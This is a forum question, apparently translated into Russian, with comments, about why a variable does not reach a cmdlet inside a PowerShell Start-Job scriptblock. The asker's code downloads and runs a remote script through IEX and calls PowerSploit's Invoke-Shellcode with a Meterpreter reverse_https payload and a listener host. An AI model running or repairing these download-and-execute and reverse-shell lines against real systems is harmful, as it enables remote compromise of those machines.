$foo = @("string.here")
foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}
Изменено с этого. Изменить: для ясности удален ненужный код.
MyCommandlet
ожидает переменную (здесь -Lhost $temp
), которая проверяется перед использованием (она не должна быть нулевой или пустой).
Я получаю следующее сообщение об ошибке при попытке запустить вышеуказанный скрипт.
Invoke-Shellcode: невозможно проверить аргумент параметра «Lhost». Аргумент нулевой или пустой. Укажите аргумент, который не является нулевым или пустым, а затем повторите команду.
Правка: Invoke-Shellcode
– это исходный командлет, на который я ссылаюсь как на MyCommandlet
. Я не хотел включать полный код из соображений безопасности (на случай, если люди сами запустят скрипт). Дополнительные сведения см. в коде здесь https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
Оригинальный ScriptBlock будет выглядеть примерно так (см. переменную $temp)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}
По сути, переменная не передается моему MyCommandlet
должным образом, тогда как Write-Host $temp
возвращает ненулевое значение (что правильно) в том же контексте. Я понимаю, что переменные не передаются в другой ScriptBlock, особенно если он выполняется в новом задании, но поскольку Write-Host
может правильно прочитать значение внутри задания, есть еще кое-что, что я, должно быть, упустил.
Как было предложено в некоторых сообщениях, я пробовал следующие альтернативы:
...} -ArgumentList $temp
(после ScriptBlock) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/{param($temp) ...}
(в начале ScriptBlock)- Использование
Start-Job -ScriptBlock {...}
напрямую вместо переменной для ScriptBlock.[scriptblock]::Create(...)
для объявления ScriptBlock - Использование
Invoke-Command
, вместоStart-Job
но мало того, что тоже не работает (хоть и работает немного по другому), хотелось бы по возможности придерживатьсяStart-Job
. - Я бы не хотел использовать функцию Powershell V3.0
$using:variable
. Плюс, это не работало в конфигурации, которую я пробовал.
Ни один из них не работал для меня.
Start-Job
? Используйте-InitializationScript $initScript
и объявите в$initScript
. - person sodawillow   schedule 16.11.2015Lhost
настоящее имяvariable
? - person Mathias R. Jessen   schedule 16.11.2015MyCommandlet -Argument "$temp"
наMyCommandlet -Lhost $temp
. - person Mathias R. Jessen   schedule 16.11.2015MyCommandlet
. Фрагмент параметра слишком неполный. Является ли файл, который вы загружаете, скриптом или определением функции, заключенным в скрипт? Где определяется параметр? Пожалуйста, сделайте код в вашем вопросе как можно более автономным. - person Ansgar Wiechers   schedule 16.11.2015MyCommandlet
илиInvoke-Shellcode
). Может быть, он делает какие-то странные вещи, которых я не понимаю. Переменная $temp получает правильное значение внутри scriptBlock и определенно не равно нулю. Просто командлет, который по какой-то причине не может его прочитать. - person Kant   schedule 16.11.2015